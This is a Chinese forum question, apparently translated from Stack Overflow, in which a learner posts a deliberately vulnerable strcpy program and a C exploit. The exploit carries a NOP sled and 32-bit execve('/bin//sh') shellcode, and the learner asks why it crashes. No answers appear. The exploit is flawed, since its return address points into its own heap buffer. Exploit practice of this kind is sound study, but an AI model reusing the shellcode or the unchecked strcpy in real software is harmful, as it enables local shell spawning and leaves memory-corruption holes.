2

我最近一直在练习一些基本的基于堆栈的缓冲区溢出任务,我写了一个这样的易受攻击的程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc,char **argv)
{
        if (argc<2) {
                puts("Need enough args!!");
                exit(0);
        }

        char buf[400];
        strcpy(buf,argv[1]);
        printf("Hi, %s\n",buf);
        return 0;
}

和这样的漏洞利用程序:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12

int main(){
    char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                "\x68\x68\x2f\x62\x69\x6e\x89"
                "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                "\xcd\x80\x31\xc0\x40\xcd\x80";

    char *atk,vul[]="./vul1 ";
    atk=(char*)malloc(sizeof(char)*ATK_L);
    unsigned long i,ret,*ptr,ptr2;

    ret=(unsigned long)atk;
    ptr=(unsigned long*)atk;

    for(i=0;i<ATK_L;i+=4){
        *(ptr++)=ret;
    }

    for(i=0;i<NOP_L;i++){
        atk[i]='\x90';
    }

    ptr2=0;
    for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
        atk[i]=shellcode[ptr2++];
    }
    atk[ATK_L-1]='\0';

    strcat(vul,atk);

    system(vul);

    free(atk);

    return 0;   
}

由于我不想确定偏移量,所以我只是跳回到atk数组的开头。我在编译时关闭了 ASLR 并放置了-fno-stack-protector标志,但是当我运行漏洞利用程序时,它只是说核心转储而不做任何事情!我使用 gdb 调试漏洞利用程序,它说它在getenv函数中被杀死,我无法理解。

我在 ubuntu 11.10 32bits 上工作

非常感谢 :-)

4

0 回答 0